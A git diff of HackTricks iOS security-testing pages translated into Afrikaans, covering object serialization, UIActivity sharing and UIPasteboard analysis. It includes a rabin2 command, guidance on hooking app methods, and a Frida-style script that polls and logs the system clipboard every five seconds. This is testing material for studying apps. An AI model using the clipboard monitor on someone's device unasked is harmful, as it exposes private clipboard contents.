* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Kode en meer inligting in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
|
||||
## Objekserialisering in iOS-ontwikkeling
|
||||
## Objekt Serialisering in iOS Ontwikkeling
|
||||
|
||||
In iOS behels **objekserialisering** die omskakeling van objekte na 'n formaat wat maklik gestoor of oorgedra kan word, en dan die herkonstruksie daarvan uit hierdie formaat wanneer dit nodig is. Twee hoofprotokolle, **`NSCoding`** en **`NSSecureCoding`**, fasiliteer hierdie proses vir Objective-C of `NSObject` subklasse, wat objekte kan serialiseer na **`NSData`**, 'n formaat wat bytebuffers omhul.
|
||||
In iOS, **objekt serialisering** behels die omskakeling van objekten in 'n formaat wat maklik gestoor of oorgedra kan word, en dan die heropbou daarvan uit hierdie formaat wanneer nodig. Twee hoof protokolle, **`NSCoding`** en **`NSSecureCoding`**, fasiliteer hierdie proses vir Objective-C of `NSObject` subklasse, wat objekten toelaat om in **`NSData`** geserialiseer te word, 'n formaat wat byte buffers omhul.
|
||||
|
||||
### **`NSCoding`**-implementering
|
||||
Om `NSCoding` te implementeer, moet 'n klas van `NSObject` erf of gemerk word as `@objc`. Hierdie protokol vereis die implementering van twee metodes vir die enkodeer en dekodeer van instansie-variables:
|
||||
### **`NSCoding`** Implementasie
|
||||
Om `NSCoding` te implementeer, moet 'n klas van `NSObject` erf of gemerk wees as `@objc`. Hierdie protokol vereis die implementering van twee metodes vir die kodering en dekodering van instansie veranderlikes:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
}
|
||||
```
|
||||
### **Verbetering van veiligheid met `NSSecureCoding`**
|
||||
Om kwetsbaarheden te verminder waar aanvallers data in reeds geconstrueerde objekte inspuit, bied **`NSSecureCoding`** 'n verbeterde protokol. Klasse wat voldoen aan `NSSecureCoding` moet die tipe van objekte verifieer tydens dekodering, om te verseker dat slegs die verwagte objek tipes geïnstantieer word. Dit is egter belangrik om op te let dat terwyl `NSSecureCoding` tipe veiligheid verbeter, dit nie data enkripsie of die versekering van integriteit verseker nie, en dus addisionele maatreëls nodig is om sensitiewe inligting te beskerm:
|
||||
### **Verbetering van Sekuriteit met `NSSecureCoding`**
|
||||
Om kwesbaarhede te verminder waar aanvallers data in reeds geboude voorwerpe inspuit, bied **`NSSecureCoding`** 'n verbeterde protokol. Klasse wat aan `NSSecureCoding` voldoen, moet die tipe voorwerpe tydens dekodering verifieer, wat verseker dat slegs die verwagte voorwerp tipes geïnstantieer word. Dit is egter belangrik om op te let dat terwyl `NSSecureCoding` tipe veiligheid verbeter, dit nie data enkripteer of die integriteit daarvan verseker nie, wat addisionele maatreëls vereis om sensitiewe inligting te beskerm:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -45,42 +46,42 @@ return true
|
|||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Data-argivering met `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` en sy eweknie, `NSKeyedUnarchiver`, maak dit moontlik om voorwerpe in 'n lêer te enkodeer en later te herwin. Hierdie meganisme is nuttig vir die volharding van voorwerpe:
|
||||
## Data Archiving with `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` en sy teenhanger, `NSKeyedUnarchiver`, stel in staat om voorwerpe in 'n lêer te kodifiseer en dit later weer te onttrek. Hierdie meganisme is nuttig om voorwerpe te behou:
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### Gebruik van `Codable` vir Vereenvoudigde Serialisering
|
||||
Swift se `Codable` protokol kombineer `Decodable` en `Encodable`, wat die enkodering en dekodering van voorwerpe soos `String`, `Int`, `Double`, ens., sonder ekstra moeite fasiliteer:
|
||||
Swift se `Codable` protokol kombineer `Decodable` en `Encodable`, wat die kodering en dekodering van voorwerpe soos `String`, `Int`, `Double`, ens., vergemaklik sonder ekstra moeite:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Hierdie benadering ondersteun reguit serialisering na en vanaf eiendomlyste en JSON, wat datahantering in Swift-toepassings verbeter.
|
||||
Hierdie benadering ondersteun eenvoudige serialisering na en van eiendomslyste en JSON, wat datahantering in Swift-toepassings verbeter.
|
||||
|
||||
## JSON en XML-koderingsalternatiewe
|
||||
Afgesien van ingeboude ondersteuning, bied verskeie derdeparty biblioteke JSON- en XML-kodering/ontkodering, elk met sy eie prestasiekenmerke en veiligheidsoorwegings. Dit is noodsaaklik om hierdie biblioteke sorgvuldig te kies, veral om kwesbaarhede soos XXE (XML External Entities) aanvalle te verminder deur ontleders te konfigureer om eksterne entiteitsverwerking te voorkom.
|
||||
|
||||
### Veiligheidsoorwegings
|
||||
Wanneer data geserialiseer word, veral na die lêersisteem, is dit noodsaaklik om waaksaam te wees oor die moontlike insluiting van sensitiewe inligting. Geserialiseerde data, as dit onderskep of verkeerd hanteer word, kan toepassings blootstel aan risiko's soos ongemagtigde aksies of datalekke. Dit word aanbeveel om geserialiseerde data te versleutel en te onderteken om die veiligheid te verbeter.
|
||||
## JSON en XML Kodering Alternatiewe
|
||||
Benewens inheemse ondersteuning, bied verskeie derdeparty-biblioteke JSON en XML kodering/dekodering vermoëns, elk met sy eie prestasiekenmerke en sekuriteits oorwegings. Dit is noodsaaklik om hierdie biblioteke versigtig te kies, veral om kwesbaarhede soos XXE (XML External Entities) aanvalle te verminder deur parsers te konfigureer om eksterne entiteitverwerking te voorkom.
|
||||
|
||||
### Sekuriteits Oorwegings
|
||||
Wanneer data geserialiseer word, veral na die lêerstelsel, is dit noodsaaklik om waaksaam te wees oor die potensiële insluiting van sensitiewe inligting. Geserialiseerde data, indien onderskep of verkeerd hanteer, kan toepassings blootstel aan risiko's soos ongeoorloofde aksies of datalek. Dit word aanbeveel om geënkripteerde en ondertekende geserialiseerde data te gebruik om sekuriteit te verbeter.
|
||||
|
||||
## Verwysings
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,78 +1,80 @@
|
|||
# iOS UIActivity-deling
|
||||
# iOS UIActivity Sharing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Vereenvoudigde UIActivity-deling
|
||||
# UIActivity Sharing Simplified
|
||||
|
||||
Vanaf iOS 6 is derde-party-toepassings in staat gestel om **data te deel**, soos teks, URL's of afbeeldings, deur gebruik te maak van meganismes soos AirDrop, soos uiteengesit in Apple se [Inter-App Communication-gids](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Hierdie funksie manifesteer deur middel van 'n stelselwye _deelaktiwiteitsblad_ wat na vore kom wanneer die "Deel" knoppie geaktiveer word.
|
||||
Vanaf iOS 6 het derdeparty toepassings toegelaat om **data** soos teks, URL's of beelde te **deel** deur middel van meganismes soos AirDrop, soos uiteengesit in Apple se [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Hierdie funksie manifesteer deur 'n stelselswye _deel aktiwiteit bladsy_ wat verskyn wanneer daar met die "Deel" knoppie geinteraksie word.
|
||||
|
||||
'n Omvattende opsomming van al die ingeboude deelopsies is beskikbaar by [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Ontwikkelaars kan opsioneel spesifieke deelopsies uitsluit as hulle dit ongeskik ag vir hul toepassing.
|
||||
'n Omvattende opsomming van al die ingeboude deel opsies is beskikbaar by [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Ontwikkelaars kan kies om spesifieke deel opsies uit te sluit as hulle dit onvanpas vir hul toepassing ag.
|
||||
|
||||
## **Hoe om Data te Deel**
|
||||
## **How to Share Data**
|
||||
|
||||
Aandag moet gegee word aan:
|
||||
|
||||
- Die aard van die gedeelde data.
|
||||
- Die insluiting van aangepaste aktiwiteite.
|
||||
- Die uitsluiting van sekere aktiwiteitstipes.
|
||||
- Die aard van die data wat gedeel word.
|
||||
- Die insluiting van pasgemaakte aktiwiteite.
|
||||
- Die uitsluiting van sekere aktiwiteit tipes.
|
||||
|
||||
Deling word fasiliteer deur die instansiasie van 'n `UIActivityViewController`, waarin die items wat bedoel is om gedeel te word, oorgedra word. Dit word bereik deur die volgende te roep:
|
||||
Deel is gefasiliteer deur die instansie van 'n `UIActivityViewController`, waaraan die items wat bedoel is om te deel, oorgedra word. Dit word bereik deur te bel:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
Ontwikkelaars moet die `UIActivityViewController` noukeurig ondersoek vir die aktiwiteite en aangepaste aktiwiteite waarmee dit geïnisialiseer is, sowel as enige gespesifiseerde `excludedActivityTypes`.
|
||||
Developers should scrutinize the `UIActivityViewController` for the activities and custom activities it's initialized with, as well as any specified `excludedActivityTypes`.
|
||||
|
||||
## **Hoe om Data te Ontvang**
|
||||
|
||||
Die volgende aspekte is van kritieke belang wanneer data ontvang word:
|
||||
Die volgende aspekte is van kardinale belang wanneer data ontvang word:
|
||||
|
||||
- Die verklaring van **aangepaste dokumenttipes**.
|
||||
- Die spesifikasie van **dokumenttipes wat die app kan oopmaak**.
|
||||
- Die verifikasie van die **integriteit van die ontvangste data**.
|
||||
- Die verifikasie van die **integriteit van die ontvangde data**.
|
||||
|
||||
Sonder toegang tot die bronkode kan 'n persoon steeds die `Info.plist` ondersoek vir sleutels soos `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, en `CFBundleDocumentTypes` om te verstaan watter tipes dokumente 'n app kan hanteer en verklaar.
|
||||
Sonder toegang tot die bronkode, kan 'n mens steeds die `Info.plist` inspekteer vir sleutels soos `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, en `CFBundleDocumentTypes` om die tipes dokumente wat 'n app kan hanteer en verklaar, te verstaan.
|
||||
|
||||
'n Bondige gids oor hierdie sleutels is beskikbaar op [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), wat die belangrikheid beklemtoon van die definieer en invoer van UTIs vir stelselwye herkenning en die assosiasie van dokumenttipes met jou app vir integrasie in die "Open met" dialoog.
|
||||
'n Bondige gids oor hierdie sleutels is beskikbaar op [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), wat die belangrikheid van die definisie en invoer van UTI's vir stelselswye erkenning en die assosiasie van dokumenttipes met jou app vir integrasie in die "Open With" dialoog beklemtoon.
|
||||
|
||||
## Dinamiese Toetsbenadering
|
||||
|
||||
Om **aktiwiteite te toets** wat gestuur word, kan 'n persoon:
|
||||
Om **sending aktiwiteite** te toets, kan 'n mens:
|
||||
|
||||
- Inhaak op die `init(activityItems:applicationActivities:)` metode om die items en aktiwiteite wat gedeel word, vas te vang.
|
||||
- Uitgeslote aktiwiteite identifiseer deur die `excludedActivityTypes` eienskap te onderskep.
|
||||
- In die `init(activityItems:applicationActivities:)` metode inhaak om die items en aktiwiteite wat gedeel word, vas te vang.
|
||||
- Uitsluitingsaktiwiteite identifiseer deur die `excludedActivityTypes` eienskap te onderskep.
|
||||
|
||||
Vir die **ontvang van items**, behels dit:
|
||||
Vir **ontvangsitems**, behels dit:
|
||||
|
||||
- Om 'n lêer met die app te deel vanaf 'n ander bron (bv. AirDrop, e-pos) wat die "Open met..." dialoog uitlok.
|
||||
- Om `application:openURL:options:` te onderskep, tesame met ander metodes wat geïdentifiseer is tydens statiese analise, om die app se reaksie waar te neem.
|
||||
- Om gebrekkige lêers of fuzzing-tegnieke te gebruik om die robuustheid van die app te evalueer.
|
||||
- 'n Lêer met die app van 'n ander bron (bv. AirDrop, e-pos) te deel wat die "Open with..." dialoog uitlok.
|
||||
- `application:openURL:options:` onder andere metodes wat tydens statiese analise geïdentifiseer is, in te haak om die app se reaksie te observeer.
|
||||
- Swak lêers of fuzzing tegnieke te gebruik om die app se robuustheid te evalueer.
|
||||
|
||||
## Verwysings
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,57 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
Data deling binne en tussen toepassings op iOS-toestelle word gefasiliteer deur die [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) meganisme, wat verdeel is in twee primêre kategorieë:
|
||||
Data deel binne en oor toepassings op iOS toestelle word gefasiliteer deur die [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) meganisme, wat in twee primêre kategorieë verdeel is:
|
||||
|
||||
- **Stelselwye algemene plakbord**: Dit word gebruik vir die deel van data met **enige toepassing** en is ontwerp om data oor toestelherstarts en toepassingsverwyderings te behou, 'n funksie wat beskikbaar is sedert iOS 10.
|
||||
- **Aangepaste / Genoemde plakborde**: Hierdie is spesifiek vir data deling **binne 'n toepassing of met 'n ander toepassing** wat dieselfde span-ID deel, en is nie ontwerp om verder te bestaan as die leeftyd van die toepassingsproses wat hulle skep nie, volgens veranderinge wat in iOS 10 ingevoer is.
|
||||
- **Stelselswye algemene plakbord**: Dit word gebruik om data met **enige toepassing** te deel en is ontwerp om data oor toestel herlaaiings en app de-installasies te behou, 'n kenmerk wat beskikbaar is sedert iOS 10.
|
||||
- **Pasgemaakte / Genoemde plakborde**: Hierdie is spesifiek vir data deel **binne 'n app of met 'n ander app** wat dieselfde span ID deel, en is nie ontwerp om te hou oor die lewe van die toepassingsproses wat hulle skep nie, volgens veranderinge wat in iOS 10 bekendgestel is.
|
||||
|
||||
**Sekuriteits oorwegings** speel 'n belangrike rol wanneer plakborde gebruik word. Byvoorbeeld:
|
||||
- Daar is geen meganisme vir gebruikers om toepassingsregte te bestuur om die **plakbord** te benader nie.
|
||||
- Om die risiko van ongemagtigde agtergrondmonitering van die plakbord te verminder, is toegang beperk tot wanneer die toepassing in die voorgrond is (sedert iOS 9).
|
||||
- Die gebruik van volhoubare genoemde plakborde word afgeraad ten gunste van gedeelde houers weens privaatheidskwessies.
|
||||
- Die **Universele Plakbord**-funksie wat met iOS 10 ingevoer is, wat inhoud toelaat om oor toestelle gedeel te word via die algemene plakbord, kan deur ontwikkelaars bestuur word om dataverval en die outomatiese oordrag van inhoud te deaktiveer.
|
||||
- Daar is geen meganisme vir gebruikers om app toestemmings te bestuur om toegang tot die **plakbord** te verkry nie.
|
||||
- Om die risiko van ongeoorloofde agtergrondmonitering van die plakbord te verminder, is toegang beperk tot wanneer die toepassing in die voorgrond is (sedert iOS 9).
|
||||
- Die gebruik van volhoubare genoem plakborde word ontmoedig ten gunste van gedeelde houers weens privaatheid bekommernisse.
|
||||
- Die **Universele Klembord** kenmerk wat met iOS 10 bekendgestel is, wat toelaat dat inhoud oor toestelle gedeel word via die algemene plakbord, kan deur ontwikkelaars bestuur word om data vervaldatums in te stel en outomatiese inhoudsoordrag te deaktiveer.
|
||||
|
||||
Dit is belangrik om te verseker dat **sensitiewe inligting nie per ongeluk op die globale plakbord gestoor word nie**. Daarbenewens behoort toepassings ontwerp te wees om die misbruik van globale plakborddata vir onbedoelde aksies te voorkom, en word ontwikkelaars aangemoedig om maatreëls te implementeer om die kopie van sensitiewe inligting na die knipbord te voorkom.
|
||||
Om te verseker dat **sensitiewe inligting nie per ongeluk gestoor word** op die globale plakbord is van kardinale belang. Boonop moet toepassings ontwerp word om die misbruik van globale plakbord data vir onbedoelde aksies te voorkom, en ontwikkelaars word aangemoedig om maatreëls te implementeer om te voorkom dat sensitiewe inligting na die klembord gekopieer word.
|
||||
|
||||
### Statische Analise
|
||||
### Statiese Analise
|
||||
|
||||
Vir statiese analise, soek deur die bronkode of binêre lêer vir:
|
||||
- `generalPasteboard` om die gebruik van die **stelselwye algemene plakbord** te identifiseer.
|
||||
- `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir die skep van **aangepaste plakborde**. Verifieer of volhoubaarheid ingeskakel is, alhoewel dit verouderd is.
|
||||
Vir statiese analise, soek die bronkode of binêre vir:
|
||||
- `generalPasteboard` om gebruik van die **stelselswye algemene plakbord** te identifiseer.
|
||||
- `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir die skep van **pasgemaakte plakborde**. Verifieer of volhoubaarheid geaktiveer is, alhoewel dit verouderd is.
|
||||
|
||||
### Dinamiese Analise
|
||||
|
||||
Dinamiese analise behels die hake of naspeuring van spesifieke metodes:
|
||||
- Monitor `generalPasteboard` vir stelselwye gebruik.
|
||||
- Spoor `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir aangepaste implementasies.
|
||||
- Waarneming van verouderde `setPersistent:` metode-oproepe om volhoubaarheidsinstellings te kontroleer.
|
||||
Dinamiese analise behels die haak of opspoor van spesifieke metodes:
|
||||
- Monitor `generalPasteboard` vir stelselswye gebruik.
|
||||
- Volg `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir pasgemaakte implementasies.
|
||||
- Observeer verouderde `setPersistent:` metode oproepe om vir volhoubaarheid instellings te kyk.
|
||||
|
||||
Belangrike besonderhede om te monitor sluit in:
|
||||
- **Plakbordname** en **inhoud** (byvoorbeeld, soek vir strings, URL's, beelde).
|
||||
- **Aantal items** en **datatipes** teenwoordig, wat standaard en aangepaste datatipekontroles benut.
|
||||
- **Verval- en plaaslike-alleen-opsies** deur die `setItems:options:` metode te ondersoek.
|
||||
- **Plakbord name** en **inhoud** (byvoorbeeld, om te kyk vir strings, URL's, beelde).
|
||||
- **Aantal items** en **data tipes** teenwoordig, met gebruik van standaard en pasgemaakte data tipe kontroles.
|
||||
- **Vervaldatums en plaaslike slegs opsies** deur die `setItems:options:` metode te ondersoek.
|
||||
|
||||
'n Voorbeeld van 'n moniteringstoolgebruik is **objection se plakbordmoniter**, wat elke 5 sekondes die generalPasteboard ondervra vir veranderinge en die nuwe data uitvoer.
|
||||
'n Voorbeeld van die gebruik van 'n moniteringstoestel is **objection se plakbord moniter**, wat die generalPasteboard elke 5 sekondes vir veranderinge pols en die nuwe data uitset.
|
||||
|
||||
Hier is 'n eenvoudige JavaScript-skripsievoorbeeld, geïnspireer deur die benadering van objection, om elke 5 sekondes veranderinge van die plakbord te lees en te log:
|
||||
Hier is 'n eenvoudige JavaScript skrip voorbeeld, geïnspireer deur die objection se benadering, om veranderinge van die plakbord elke 5 sekondes te lees en te log:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -85,16 +86,17 @@ console.log(items);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
